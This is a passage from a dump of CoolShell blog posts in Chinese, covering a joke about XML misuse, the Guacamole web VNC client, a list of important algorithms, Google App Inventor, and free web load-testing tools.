[https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg](https://coolshell.cn/articles/4795.html)[开源中最好的Web开发的资源](https://coolshell.cn/articles/4795.html)\n* [![Web开发人员速查卡](../wp-content/uploads/2011/02/1128-150x150.jpg)](https://coolshell.cn/articles/3684.html)[Web开发人员速查卡](https://coolshell.cn/articles/3684.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/23.jpg](https://coolshell.cn/articles/3516.html)[JS游戏引擎列表](https://coolshell.cn/articles/3516.html)\nThe post [把Flash转成Javascript/HTML5](https://coolshell.cn/articles/2497.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-6-9 信XML，得永生！.md",
    "content": "---\nlayout: post\ntitle: 信XML，得永生！\ndate: 2010/6/9/ 0:27:42\nupdated: 2010/6/9/ 0:27:42\nstatus: publish\npublished: true\ntype: post\n---\n\n在计算机的世界里，什么最牛？[Javascript](https://coolshell.cn/?tag=javascript)？[C语言](https://coolshell.cn/articles/914.html)？[C++](https://coolshell.cn/articles/1724.html)？[iPad](https://coolshell.cn/articles/2086.html)？还是[brainfuck](https://coolshell.cn/articles/1142.html)？我个人觉得都不是，这个世界里，XML最NB，这世界到处都充斥着XML，正如在“[十条不错的编程观点](https://coolshell.cn/articles/2424.html)”文中所说，我们不用XML我们都不知道怎么编程了。下面，让我们来看一看XML的几个真实的示例，相信你会同意我的观点的。\n\n\n#### 一、如何用XML返回数据库SQL查询结果\n\n\n\n```\n<?xml version=\"1.0\" encoding=\"iso-8859-1\" ?>\n<result>\n  <fields>\n    <field>NAME</field>\n    <field>LAST NAME</field>\n    <field>MOTHER MAIDEN NAME</field>\n    <field>BIRTHDATE</field>\n    ...\n  </fields>\n  <data>\n    <row>\n      <value>MARLENE</value>\n      <value>RUTH</value>\n      <value>DE MARCO</value>\n      <value>1973-02-24 00:00:00</value>\n      ...\n    </row>\n  </data>\n</result>\n```\n\n\n#### 二、如何用XML序列化一个图片\n\n\n\n```\n<attachments xmlns = \"http://webservices...\" >\n  <bytes>37</bytes>\n  <bytes>80</bytes>\n  <bytes>68</bytes>\n  <bytes>70</bytes>\n  <bytes>45</bytes>\n  <bytes>49</bytes>\n  <bytes>46</bytes>\n  <bytes>52</bytes>\n  <bytes>10</bytes>\n  <bytes>37</bytes>\n  <bytes>-30</bytes>\n  <bytes>-29</bytes>\n  <bytes>-49</bytes>\n  <bytes>-45</bytes>\n  <bytes>10</bytes>\n  <bytes>52</bytes>\n  <bytes>32</bytes>\n  <bytes>48</bytes>\n  <bytes>32</bytes>\n  <bytes>111</bytes>\n  ...\n  ...\n  ...\n```\n\n#### 三、如何让XML与CSV格式兼容\n\n\n\n```\n<?xml version=\"1.0\" encoding=\"iso8859-1\" ?>\n<import tag=\"1stTEST\" type=\"data\" mode=\"update\">\n<options>\n    <dateformat mmddyyyy=\"true\"/>\n        <notification>\n            <EMail>example@example.com</EMail>\n        </notification>\n    </options>\n    <fields>\n        <field name=\"name\" type=\"char\" mapsto=\"person.data\"/>\n        <field name=\"officeid\" type=\"char\" mapsto=\"custom.locationid\"/>\n        <field name=\"startyear\" type=\"char\" mapsto=\"person.yearstarted\"/>\n        <field name=\"personelid\" type=\"int\" mapsto=\"person.id\"/>\n        <field name=\"dob\" type=\"date\" mapsto=\"person.dateofbith\"/>\n        <field name=\"sex\" type=\"char\" mapsto=\"person.sex\"/>\n        <field name=\"modified\" type=\"date\" mapsto=\"record.modified\"/>\n    </fields>\n    <csvdata columnheaders=\"false\">\n<![CDATA[\n\"Jack Wade\",214,2002,111012,07/04/1975,\"M\",02/11/2006\n\"Sam Davidson\",214,1999,104841,10/15/1967,\"M\",02/10/2006\n\"Denise V Law\",214,1998,104660,01/21/1971,\"F\",02/17/2006\n\"Lisa Blake\",214,1989,100987,08/01/1982,\"F\",01/21/2006\n\"Andrew Match\",214,1991,101074,12/25/1980,\"M\",02/28/2006\n]]>\n    </csvdata>\n</import>\n```\n\n#### 四、如何把XML当成数组来用\n\n\n\n```\n<rootNode>\n   <numberOfAddresses>110</numberOfAddresses>\n   <address_1>442 Fake St.</address_1>\n   <address_2>61 Main St.</address_2>\n   ...\n   ...\n   ...\n   <address_110>3881 N 4th Ave. #5D</address_110>\n</rootNode>\n```\n\n相信你一定有比这更牛X的例子，欢迎与我们分享！\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![PFIF网上寻人协议](../wp-content/uploads/2013/04/Google-Person-Finder-150x150.png)](https://coolshell.cn/articles/9508.html)[PFIF网上寻人协议](https://coolshell.cn/articles/9508.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/3.jpg](https://coolshell.cn/articles/4905.html)[语言的数据亲和力](https://coolshell.cn/articles/4905.html)\n* [![Web开发人员速查卡](../wp-content/uploads/2011/02/1128-150x150.jpg)](https://coolshell.cn/articles/3684.html)[Web开发人员速查卡](https://coolshell.cn/articles/3684.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg](https://coolshell.cn/articles/3609.html)[那些炒作过度的技术和概念](https://coolshell.cn/articles/3609.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/6.jpg](https://coolshell.cn/articles/3585.html)[SOAP的S是Simple](https://coolshell.cn/articles/3585.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/9.jpg](https://coolshell.cn/articles/3498.html)[信XML，得自信](https://coolshell.cn/articles/3498.html)\nThe post [信XML，得永生！](https://coolshell.cn/articles/2504.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-7-11 Web版的VNC.md",
    "content": "---\nlayout: post\ntitle: Web版的VNC\ndate: 2010/7/11/ 4:18:19\nupdated: 2010/7/11/ 4:18:19\nstatus: publish\npublished: true\ntype: post\n---\n\n想在Web上远程控制远端的电脑吗？[Guacamole](http://guacamole.sourceforge.net/)开源项目提供了这样的解决方案，其主要使用了HTML5和Ajax。下面是一个载图。如果你能够访问Youtube的话，你可以看看这个[视频](http://www.youtube.com/watch?v=Oag4EUlpL4c&feature=player_embedded)。\n\n\n[http://sourceforge.net/dbimage.php?id=256624 \"Guacamole\"](http://guacamole.sourceforge.net/)Guacamole 一个 HTML5 + JavaScript (AJAX) 的 VNC 客户端\n是啊，HTML5强大了，什么都能干了，[连Flash也要取代了](https://coolshell.cn/articles/2497.html)。现如今，什么事都在往Web上移植了，Chrome也OS了。可以预见在HTML5出来后，未来这样的事情会越来越多，以后的一些移动和掌上设备真的只需要一个Web Browsers.\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Chrome开发者工具的小技巧](../wp-content/uploads/2017/01/pretty-code-150x150.gif)](https://coolshell.cn/articles/17634.html)[Chrome开发者工具的小技巧](https://coolshell.cn/articles/17634.html)\n* [![Javascript 装载和执行](../wp-content/uploads/2013/06/javascript-150x150.jpg)](https://coolshell.cn/articles/9749.html)[Javascript 装载和执行](https://coolshell.cn/articles/9749.html)\n* [![浏览器的渲染原理简介](../wp-content/uploads/2013/05/Render-Process-150x150.jpg)](https://coolshell.cn/articles/9666.html)[浏览器的渲染原理简介](https://coolshell.cn/articles/9666.html)\n* [![一些文章资源和趣闻](../wp-content/uploads/2011/11/stackparts.com_-150x150.png)](https://coolshell.cn/articles/5537.html)[一些文章资源和趣闻](https://coolshell.cn/articles/5537.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg](https://coolshell.cn/articles/4795.html)[开源中最好的Web开发的资源](https://coolshell.cn/articles/4795.html)\n* [![Web开发人员速查卡](../wp-content/uploads/2011/02/1128-150x150.jpg)](https://coolshell.cn/articles/3684.html)[Web开发人员速查卡](https://coolshell.cn/articles/3684.html)\nThe post [Web版的VNC](https://coolshell.cn/articles/2593.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-7-12 一些重要的算法.md",
    "content": "---\nlayout: post\ntitle: 一些重要的算法\ndate: 2010/7/12/ 0:27:38\nupdated: 2010/7/12/ 0:27:38\nstatus: publish\npublished: true\ntype: post\n---\n\n\n\n下面是一些比较重要的算法，[原文](http://www.risc.jku.at/people/ckoutsch/stuff/e_algorithms.html)罗列了32个，但我觉得有很多是数论里的，和计算机的不相干，所以没有选取。下面的这些，有的我们经常在用，有的基本不用。有的很常见，有的很偏。不过了解一下也是好事。也欢迎你留下你觉得有意义的算法。（注：本篇文章并非翻译，其中的算法描述大部份摘自Wikipedia，因为维基百科描述的很专业了）\n\n\n1. [**A\\*搜寻算法**](http://zh.wikipedia.org/zh-cn/A*%E6%90%9C%E5%AF%BB%E7%AE%97%E6%B3%95)俗称A星算法。这是一种在图形平面上，有多个节点的路径，求出最低通过成本的算法。常用于游戏中的NPC的移动计算，或线上游戏的BOT的移动计算上。该算法像[Dijkstra算法](http://zh.wikipedia.org/zh-cn/Dijkstra%E7%AE%97%E6%B3%95 \"Dijkstra算法\")一样，可以找到一条最短路径；也像[BFS](http://zh.wikipedia.org/zh-cn/BFS \"BFS\")一样，进行启发式的搜索。\n2. [**Beam Search**](http://en.wikipedia.org/wiki/Beam_search)  \n\n束搜索(beam search) 方法是解决优化问题的一种启发式方法,它是在分枝定界方法基础上发展起来的,它使用启发式方法估计k 个最好的路径,仅从这k 个路径出发向下搜索,即每一层只有满意的结点会被保留,其它的结点则被永久抛弃,从而比分枝定界法能大大节省运行时间。束搜索于20 世纪70 年代中期首先被应用于人工智能领域,1976 年Lowerre 在其称为HARPY的语音识别系统中第一次使用了束搜索方法,他的目标是并行地搜索几个潜在的最优决策路径以减少回溯,并快速地获得一个解。\n3. [**二分取中查找算法**](http://zh.wikipedia.org/zh-cn/%E6%8A%98%E5%8D%8A%E6%90%9C%E7%B4%A2%E7%AE%97%E6%B3%95)  \n\n一种在有序数组中查找某一特定元素的搜索算法。搜素过程从数组的中间元素开始，如果中间元素正好是要查找的元素，则搜素过程结束；如果某一特定元素大于或者小于中间元素，则在数组大于或小于中间元素的那一半中查找，而且跟开始一样从中间元素开始比较。这种搜索算法每一次比较都使搜索范围缩小一半。\n4. [**Branch and bound**](http://en.wikipedia.org/wiki/Branch_and_bound)  \n\n分支定界 (branch and bound) 算法是一种在问题的解空间树上搜索问题的解的方法。但与回溯算法不同，分支定界算法采用广度优先或最小耗费优先的方法搜索解空间树，并且，在分支定界算法中，每一个活结点只有一次机会成为扩展结点。\n5. [**数据压缩**](http://en.wikipedia.org/wiki/Data_compression)  \n\n数据压缩是通过减少计算机中所存储数据或者通信传播中数据的冗余度，达到增大数据密度，最终使数据的存储空间减少的技术。数据压缩在文件存储和分布式系统领域有着十分广泛的应用。数据压缩也代表着尺寸媒介容量的增大和网络带宽的扩展。\n6. [**Diffie–Hellman密钥协商**](http://zh.wikipedia.org/zh-cn/Diffie-Hellman%E5%AF%86%E9%92%A5%E4%BA%A4%E6%8D%A2)  \n\nDiffie–Hellman key exchange，简称“D–H”， 是一种安全协议。它可以让双方在完全没有对方任何预先信息的条件下通过不安全信道建立起一个密钥。这个密钥可以在后续的通讯中作为对称密钥来加密通讯内容。\n7. [**Dijkstra’s 算法**](http://zh.wikipedia.org/zh-cn/%E8%BF%AA%E7%A7%91%E6%96%AF%E5%BD%BB%E7%AE%97%E6%B3%95)  \n\n迪科斯彻算法（Dijkstra）是由荷兰计算机科学家[艾兹格·迪科斯彻](http://zh.wikipedia.org/zh-cn/%E8%89%BE%E8%8C%B2%E6%A0%BC%C2%B7%E8%BF%AA%E7%A7%91%E6%96%AF%E5%BE%B9 \"艾兹格·迪科斯彻\")（Edsger Wybe Dijkstra）发明的。算法解决的是有向图中单个源点到其他顶点的最短路径问题。举例来说，如果图中的顶点表示城市，而边上的权重表示著城市间开车行经的距离，迪科斯彻算法可以用来找到两个城市之间的最短路径。\n8. [**动态规划**](http://zh.wikipedia.org/zh-cn/%E5%8A%A8%E6%80%81%E8%A7%84%E5%88%92)  \n\n动态规划是一种在数学和计算机科学中使用的，用于求解包含重叠子问题的[最优化](http://zh.wikipedia.org/zh-cn/%E6%9C%80%E4%BC%98%E5%8C%96 \"最优化\")问题的方法。其基本思想是，将原问题分解为相似的子问题，在求解的过程中通过子问题的解求出原问题的解。动态规划的思想是多种算法的基础，被广泛应用于计算机科学和工程领域。比较著名的应用实例有：求解[最短路径](http://zh.wikipedia.org/zh-cn/%E6%9C%80%E7%9F%AD%E8%B7%AF%E5%BE%84 \"最短路径\")问题，[背包问题](http://zh.wikipedia.org/zh-cn/%E8%83%8C%E5%8C%85%E9%97%AE%E9%A2%98 \"背包问题\")，[项目管理](http://zh.wikipedia.org/zh-cn/%E9%A1%B9%E7%9B%AE%E7%AE%A1%E7%90%86 \"项目管理\")，[网络流](http://zh.wikipedia.org/zh-cn/%E7%BD%91%E7%BB%9C%E6%B5%81 \"网络流\")优化等。这里也有[一篇文章](http://www.cnblogs.com/drizzlecrj/archive/2007/10/26/939159.html)说得比较详细。\n9. [**欧几里得算法**](http://zh.wikipedia.org/zh-cn/%E8%BC%BE%E8%BD%89%E7%9B%B8%E9%99%A4%E6%B3%95)  \n\n在数学中，辗转相除法，又称欧几里得算法，是求[最大公约数](http://zh.wikipedia.org/zh-cn/%E6%9C%80%E5%A4%A7%E5%85%AC%E7%BA%A6%E6%95%B0 \"最大公约数\")的算法。辗转相除法首次出现于[欧几里得](http://zh.wikipedia.org/zh-cn/%E6%AC%A7%E5%87%A0%E9%87%8C%E5%BE%97 \"欧几里得\")的《[几何原本](http://zh.wikipedia.org/zh-cn/%E5%87%A0%E4%BD%95%E5%8E%9F%E6%9C%AC \"几何原本\")》（第VII卷，命题i和ii）中，而在中国则可以追溯至东汉出现的《[九章算术](http://zh.wikipedia.org/zh-cn/%E4%B9%9D%E7%AB%A0%E7%AE%97%E6%9C%AF \"九章算术\")》。\n10. [**最大期望（EM）算法**](http://zh.wikipedia.org/zh-cn/%E6%9C%80%E5%A4%A7%E6%9C%9F%E6%9C%9B%E7%AE%97%E6%B3%95)  \n\n在统计计算中，最大期望（EM）算法是在[概率](http://zh.wikipedia.org/zh-cn/%E6%A6%82%E7%8E%87 \"概率\")（[probabilistic](http://en.wikipedia.org/wiki/probability \"en:probability\")）模型中寻找参数最大似然估计的算法，其中概率模型依赖于无法观测的隐藏变量（[Latent Variable](http://en.wikipedia.org/wiki/latent_variable \"en:latent variable\")）。最大期望经常用在[机器学习](http://zh.wikipedia.org/zh-cn/%E6%9C%BA%E5%99%A8%E5%AD%A6%E4%B9%A0 \"机器学习\")和[计算机视觉](http://zh.wikipedia.org/zh-cn/%E8%AE%A1%E7%AE%97%E6%9C%BA%E8%A7%86%E8%A7%89 \"计算机视觉\")的[数据聚类](http://zh.wikipedia.org/zh-cn/%E6%95%B0%E6%8D%AE%E8%81%9A%E7%B1%BB \"数据聚类\")（[Data Clustering](http://en.wikipedia.org/wiki/data_clustering \"en:data clustering\")）领域。最大期望算法经过两个步骤交替进行计算，第一步是计算期望（E），利用对隐藏变量的现有估计值，计算其最大似然估计值；第二步是最大化（M），最大化在 E 步上求得的最大似然值来计算参数的值。M 步上找到的参数估计值被用于下一个 E 步计算中，这个过程不断交替进行。\n11. [**快速傅里叶变换**](http://zh.wikipedia.org/zh-cn/%E5%BF%AB%E9%80%9F%E5%82%85%E9%87%8C%E5%8F%B6%E5%8F%98%E6%8D%A2) **(FFT)**  \n\n快速傅里叶变换（Fast Fourier Transform，FFT），是[离散傅里叶变换](http://zh.wikipedia.org/zh-cn/%E7%A6%BB%E6%95%A3%E5%82%85%E9%87%8C%E5%8F%B6%E5%8F%98%E6%8D%A2 \"离散傅里叶变换\")的快速算法，也可用于计算离散傅里叶变换的逆变换。快速傅里叶变换有广泛的应用，如[数字信号处理](http://zh.wikipedia.org/zh-cn/%E6%95%B0%E5%AD%97%E4%BF%A1%E5%8F%B7%E5%A4%84%E7%90%86 \"数字信号处理\")、计算[大整数乘法](http://zh.wikipedia.org/w/index.php?title=%E5%A4%A7%E6%95%B4%E6%95%B0%E4%B9%98%E6%B3%95&action=edit&redlink=1 \"大整数乘法（尚未撰写）\")、求解[偏微分方程](http://zh.wikipedia.org/zh-cn/%E5%81%8F%E5%BE%AE%E5%88%86%E6%96%B9%E7%A8%8B \"偏微分方程\")等等。本条目只描述各种快速算法，对于离散傅里叶变换的性质和应用，请参见[离散傅里叶变换](http://zh.wikipedia.org/zh-cn/%E7%A6%BB%E6%95%A3%E5%82%85%E9%87%8C%E5%8F%B6%E5%8F%98%E6%8D%A2 \"离散傅里叶变换\")。\n12. [**哈希函数**](http://zh.wikipedia.org/zh-cn/%E6%95%A3%E5%88%97%E5%87%BD%E6%95%B8)  \n\nHash Function是一种从任何一种数据中创建小的数字“指纹”的方法。该函数将数据打乱混合，重新创建一个叫做散列值的指纹。散列值通常用来代表一个短的随机字母和数字组成的字符串。好的散列函数在输入域中很少出现散列冲突。在散列表和数据处理中，不抑制冲突来区别数据，会使得数据库记录更难找到。\n13. [**堆排序**](http://zh.wikipedia.org/zh-cn/%E5%A0%86%E7%A9%8D%E6%8E%92%E5%BA%8F)  \n\n**Heapsort** 是指利用[堆积树](http://zh.wikipedia.org/zh-cn/%E5%A0%86_(%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84) \"堆 (数据结构)\")（[堆](http://zh.wikipedia.org/zh-cn/%E5%A0%86_(%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84) \"堆 (数据结构)\")）这种数据结构所设计的一种排序算法。堆积树是一个近似[完全二叉树](http://zh.wikipedia.org/zh-cn/%E5%AE%8C%E5%85%A8%E4%BA%8C%E5%8F%89%E6%A0%91 \"完全二叉树\")的结构，并同时满足*堆积属性*：即子结点的键值或索引总是小于（或者大于）它的父结点。\n14. [**归并排序**](http://zh.wikipedia.org/zh-cn/%E5%BD%92%E5%B9%B6%E6%8E%92%E5%BA%8F)  \n\n**Merge sort**是建立在归并操作上的一种有效的[排序](http://zh.wikipedia.org/zh-cn/%E6%8E%92%E5%BA%8F \"排序\")[算法](http://zh.wikipedia.org/zh-cn/%E7%AE%97%E6%B3%95 \"算法\")。该算法是采用[分治法](http://zh.wikipedia.org/zh-cn/%E5%88%86%E6%B2%BB%E6%B3%95 \"分治法\")（Divide and Conquer）的一个非常典型的应用。\n15. [**RANSAC 算法**](http://en.wikipedia.org/wiki/RANSAC)  \n\nRANSAC 是”RANdom SAmple Consensus”的缩写。该算法是用于从一组观测数据中估计数学模型参数的迭代方法，由Fischler and Bolles在1981 提出，它是一种非确定性算法，因为它只能以一定的概率得到合理的结果，随着迭代次数的增加，这种概率是增加的。 该算法的基本假设是观测数据集中存在”inliers”（那些对模型参数估计起到支持作用的点）和”outliers”（不符合模型的点），并且这组观测数据受到噪声影响。RANSAC 假设给定一组”inliers”数据就能够得到最优的符合这组点的模型。\n16. [**RSA加密演算法**](http://zh.wikipedia.org/zh-tw/RSA%E5%8A%A0%E5%AF%86%E6%BC%94%E7%AE%97%E6%B3%95)  \n\n这是一个公钥加密算法，也是世界上第一个适合用来做签名的算法。今天的RSA已经专利失效，其被广泛地用于电子商务加密，大家都相信，只要密钥足够长，这个算法就会是安全的\n17. [**并查集Union-find**](http://zh.wikipedia.org/zh-cn/%E5%B9%B6%E6%9F%A5%E9%9B%86)  \n\n并查集是一种树型的数据结构，用于处理一些不相交集合（Disjoint Sets）的合并及查询问题。常常在使用中以森林来表示。\n18. [**Viterbi algorithm**](http://blog.52nlp.org/hmm-learn-best-practices-six-viterbi-algorithm-1)  \n\n寻找最可能的隐藏状态序列(Finding most probable sequence of hidden states)\n\n\n**附录**\n\n\n* 关于这个世界上的算法，你可以看看Wikipedia的这个网页：<http://en.wikipedia.org/wiki/List_of_algorithms>\n* 关于排序算法，你可以看看本站的这几篇文章《[一个显示排序过程的Python脚本](https://coolshell.cn/articles/536.html)》、《[一个排序算法比较的网站](https://coolshell.cn/articles/399.html)》\n\n\n。\n\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/23.jpg](https://coolshell.cn/articles/3933.html)[可视化的排序过程](https://coolshell.cn/articles/3933.html)\n* [![一个显示排序过程的Python脚本](../wp-content/uploads/2009/04/bubble-150x150.png)](https://coolshell.cn/articles/536.html)[一个显示排序过程的Python脚本](https://coolshell.cn/articles/536.html)\n* [![一个排序算法比较的网站](../wp-content/uploads/2009/04/sort-150x150.jpg)](https://coolshell.cn/articles/399.html)[一个排序算法比较的网站](https://coolshell.cn/articles/399.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/12052.html)[Leetcode 编程训练](https://coolshell.cn/articles/12052.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/23.jpg](https://coolshell.cn/articles/6010.html)[一些有意思的算法代码](https://coolshell.cn/articles/6010.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/11.jpg](https://coolshell.cn/articles/4671.html)[可视化的数据结构和算法](https://coolshell.cn/articles/4671.html)\nThe post [一些重要的算法](https://coolshell.cn/articles/2583.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-7-13 Google App Inventor.md",
    "content": "---\nlayout: post\ntitle: Google App Inventor\ndate: 2010/7/13/ 8:37:6\nupdated: 2010/7/13/ 8:37:6\nstatus: publish\npublished: true\ntype: post\n---\n\nGoogle 本周一发布了一个新的工作可以让任何人创建Android手机应用。这个工具叫[**Google App Inventor**](http://appinventor.googlelabs.com/)。（目前， App Inventor好像只对教育者开放）Google说：“你不必是一个专业开发人员就能轻松使用App Inventor。使用App Inventor无须掌握编程知识。因为你根本就不需要编写代码，你只需在可视化界面上设计应用的界面，并使用“blocks”指定应用的行为（behavior）。”\n\n\n[![](../wp-content/uploads/2010/07/androidappinventor.jpg \"Android App Inventor\")](http://appinventor.googlelabs.com/)Google Android App Inventor\n注意，Google说的是任何人，也就是包括那些不会编程的人。这个工具可以将枯燥的代码变成了一块一块的拼图，你需要做的只是把这些零散的拼图按照你自己的意思组合在一起，点击生成，你的第一个 Android 程序就诞生了。这里有一篇来自 [纽约时代的报道](http://www.nytimes.com/2010/07/12/technology/12google.html)，《纽约时代》报道称，App Inventor已经在六年级的孩子们中完成测试，他们能够使用App Inventor制作简单的应用。如果你可以访问Youtube的话，你可以看看这个[视频](http://www.youtube.com/watch?v=8ADwPLSFeY8)。\n\n\n\n这个想法，这会让 Android 市场不仅对程序开放，而且我们可能看到还有一大批很有创意但不懂编程的人为这个平台添砖加瓦，当然，这也可能会出现很多垃圾应用，正如不会做网页的人用所见即所得的编辑器做出的那些相当ugly劣质网页一样。瑕不蔽玉，就算是有大量的劣质应用的出现，我也相信，同样会涌现出更多更好的应用，那些都是技术人员无法做到的。\n\n\n当然，这种想法以前也有，不过仅仅是当玩具玩玩，这回，做这个事的是Google，我不知道他能把这个事情做成什么样？但觉得可能会比较专业。如果只是整成另一个VB的翻版嘛，那就很囧了。\n\n\n让我们看看，最终这个玩意，**会成为像Dreamweaver或Flash那样把网页开发变成傻瓜化，还是会像VB那样把程序员变成傻瓜**。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Google Inbox如何跨平台重用代码？](../wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg)](https://coolshell.cn/articles/12136.html)[Google Inbox如何跨平台重用代码？](https://coolshell.cn/articles/12136.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/28.jpg](https://coolshell.cn/articles/3549.html)[Android将允许纯C/C++开发应用](https://coolshell.cn/articles/3549.html)\n* [![实用Android开发工具和资源精选](../wp-content/uploads/2010/08/android_dev_01-150x150.jpg)](https://coolshell.cn/articles/2853.html)[实用Android开发工具和资源精选](https://coolshell.cn/articles/2853.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/15.jpg](https://coolshell.cn/articles/1152.html)[关于 Chrome OS 的一些推论](https://coolshell.cn/articles/1152.html)\n* [![我看ChatGPT: 为啥谷歌掉了千亿美金](../wp-content/uploads/2023/02/chatgpt-150x150.jpg)](https://coolshell.cn/articles/22398.html)[我看ChatGPT: 为啥谷歌掉了千亿美金](https://coolshell.cn/articles/22398.html)\n* [![关于移动端的钓鱼式攻击](../wp-content/uploads/2015/04/phishing-1-150x150.jpg)](https://coolshell.cn/articles/17066.html)[关于移动端的钓鱼式攻击](https://coolshell.cn/articles/17066.html)\nThe post [Google App Inventor](https://coolshell.cn/articles/2608.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-7-13 十个免费的Web压力测试工具.md",
    "content": "---\nlayout: post\ntitle: 十个免费的Web压力测试工具\ndate: 2010/7/13/ 0:50:40\nupdated: 2010/7/13/ 0:50:40\nstatus: publish\npublished: true\ntype: post\n---\n\n![](../wp-content/uploads/2010/07/get_more_web_traffic.jpg)两天，jnj在本站发布了《[如何在低速率网络中测试 Web 应用](https://coolshell.cn/articles/2574.html)》，那是测试网络不好的情况。而下面是十个免费的可以用来进行Web的负载/压力测试的工具，这样，你就可以知道你的服务器以及你的WEB应用能够顶得住多少的并发量，以及你的网站的性能。我相信，北京奥组委的订票网站的开发团队并不知道有这样的测试工具。\n\n\n**[Grinder](http://grinder.sourceforge.net/)** –  Grinder是一个开源的JVM负载测试框架，它通过很多负载注射器来为分布式测试提供了便利。 支持用于执行测试脚本的Jython脚本引擎HTTP测试可通过HTTP代理进行管理。根据项目网站的说法，Grinder的 主要目标用户是“理解他们所测代码的人——Grinder不仅仅是带有一组相关响应时间的‘黑盒’测试。由于测试过程可以进行编码——而不是简单地脚本 化，所以程序员能测试应用中内部的各个层次，而不仅仅是通过用户界面测试响应时间。\n\n\n**[Pylot](http://www.pylot.org/)** -Pylot是一款开源的测试web service性能和扩展性的工具，它运行HTTP 负载测试，这对容量计划，确定基准点，分析以及系统调优都很有用处。Pylot产生并发负载（HTTP Requests），检验服务器响应，以及产生带有metrics的报表。通过GUI或者shell/console来执行和监视test suites。\n\n\n[**Web Capacity Analysis Tool (WCAT)**](http://www.iis.net/community/default.aspx?tabid=34&i=1466&g=6) – 这是一种轻量级负载生成实用工具，不仅能够重现对 Web 服务器（或负载平衡服务器场）的脚本 HTTP 请求，同时还可以收集性能统计数据供日后分析之用。WCAT 是多线程应用程序，并且支持从单个源控制多个负载测试客户端，因此您可以模拟数千个并发用户。该实用工具利用您的旧机器作为测试客户端，其中每个测试客户端又可以产生多个虚拟客户端（最大数量取决于客户端机器的网络适配器和其他硬件）。您可以选择使用 HTTP 1.0 还是 HTTP 1.1 请求，以及是否使用 SSL。并且，如果测试方案需要，您还可以使用脚本执行的基本或 NTLM 身份验证来访问站点的受限部分。（如果您的站点使用 cookie、表单或基于会话的身份验证，那您可以创建正确的 GET 或 POST 请求来对测试用户进行身份验证。）WCAT 还可管理您站点可能设置的任何 cookie，所以配置文件和会话信息将永久保存。\n\n\n\n**[fwptt](http://fwptt.sourceforge.net/index.html)** – fwptt 也是一个用来进行WEB应用负载测试的工具。它可以记录一般的请求，也可以记录Ajax请求。它可以用来测试 asp.net， jsp， php 或是其它的Web应用。\n\n\n**[JCrawler](http://jcrawler.sourceforge.net/)** – JCrawler是一个开源( [CPL](http://www.opensource.org/licenses/cpl.php)) 的WEB应用压力测试工具。通过其名字，你就可以知道这是一个用Java写的像网页爬虫一样的工具。只要你给其几个URL，它就可以开始爬过去了，它用一种特殊的方式来产生你WEB应用的负载。这个工具可以用来测试搜索引擎对你站点产生的负载。当然，其还有另一功能，你可以建立你的网站地图和再点击一下，将自动提交Sitemap给前5名的搜索引擎！\n\n\n**[Apache JMeter](http://jakarta.apache.org/jmeter/)** – Apache JMeter是一个专门为运行和服务器装载测试而设计的、100％的纯Java桌面运行程序。原先它是为Web/HTTP测试而设计的，但是它已经扩展以支持各种各样的测试模块。它和用于HTTP和SQL数据库（使用JDBC）的模块一起运送。它可以用来测试静止资料库或者活动资料库中的服务器的运行情况，可以用来模拟对服务器或者网络系统加以重负荷以测试它的抵抗力，或者用来分析不同负荷类型下的所有运行情况。它也提供了一个可替换的界面用来定制数据显示，测试同步及测试的创建和执行。\n\n\n**[Siege](http://www.joedog.org/index/siege-home)** -Siege（英文意思是围攻）是一个压力测试和评测工具，设计用于WEB开发这评估应用在压力下的承受能力：可以根据配置对一个WEB站点进行多用户的并发访问，记录每个用户所有请求过程的相应时间，并在一定数量的并发访问下重复进行。 Siege 支持基本的认证，cookies， HTTP 和 HTTPS 协议。\n\n\n**[http\\_load](http://www.acme.com/software/http_load/)** – http\\_load 以并行复用的方式运行，用以测试web服务器的吞吐量与负载。但是它不同于大多数压力测试工具，它可以以一个单一的进程运行，一般不会把客户机搞死。可以可以测试HTTPS类的网站请求。\n\n\n**[Web Polygraph](http://www.web-polygraph.org/)** – Web 